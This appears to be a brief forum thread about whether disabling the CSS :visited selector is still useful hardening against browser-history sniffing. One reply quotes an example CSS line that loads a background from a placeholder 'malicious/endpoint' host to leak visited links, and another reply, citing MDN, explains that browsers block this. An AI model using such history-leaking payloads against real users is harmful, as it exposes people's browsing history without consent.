3 ms·
I've disabled :visited in about:config after reading it as a good hardening practice
by toastal 5y ago
I've disabled :visited in about:config after reading it as a good hardening practice
- capableweb 5y agoNo longer necessary, all major browsers already patch that hole. JS doesn't see the state of visited links differently than normal links anymore.
- toastal 5y agoAwesome. Great to know.
- toastal 5y agoWait. Couldn't this still be used? a:visited { background: url(http://malicious/endpoint http://malicious/endpoint) }
- jfk13 5y agoNo. As per https://developer.mozilla.org/en-US/docs/Web/CSS/:visited https://developer.mozilla.org/en-US/docs/Web/CSS/:visited, > For privacy reasons, the styles that can be modified using this selector are very limited. (and loading a background image isn't one of them).